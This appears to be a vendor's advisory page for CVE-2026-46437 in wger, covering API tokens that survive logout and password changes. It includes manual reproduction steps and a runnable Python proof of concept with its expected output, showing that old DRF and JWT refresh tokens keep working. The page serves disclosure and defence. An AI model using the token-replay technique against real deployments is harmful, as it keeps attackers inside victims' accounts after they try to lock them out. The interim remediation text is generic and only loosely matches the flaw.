CVE-2026-46437

CVE-2026-46437 is a medium-severity improper authentication vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

wger: API credentials remain valid after logout/password change

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).
lifecycle events do not revoke these credentials:

  • Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
  • Password change updates the password hash, but does not revoke:
    • existing DRF tokens stored in authtoken_token
    • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
    • POST /api/v2/token with username/password.
  3. Obtain a DRF token (API key):
    • use /user/api-key (or create token via admin/DB in a test environment).
  4. Change password:
    • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  5. Prove token replay:
    • Call a private endpoint using the old DRF token (should still return 200).
    • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid.
If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.

  • Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
  • Integrity: attacker can perform any API mutations permitted to the victim’s account.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-46437 has a CVSS score of 4.8 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

wger (<= 2.1)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

No fixed version is listed for CVE-2026-46437 yet.

In the interim: Keep the dependency up to date. Ensure authentication checks are present and cannot be bypassed by manipulating request parameters.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-46437? CVE-2026-46437 is a medium-severity improper authentication vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. How severe is CVE-2026-46437? CVE-2026-46437 has a CVSS score of 4.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of wger are affected by CVE-2026-46437? wger (pip) versions <= 2.1 is affected.
  4. Is there a fix for CVE-2026-46437? No fixed version is listed for CVE-2026-46437 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-46437 exploitable, and should I be worried? Whether CVE-2026-46437 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-46437 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-46437? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authentication checks are present and cannot be bypassed by manipulating request parameters.

Other vulnerabilities in wger

Stop the waste.
Protect your environment with Kodem.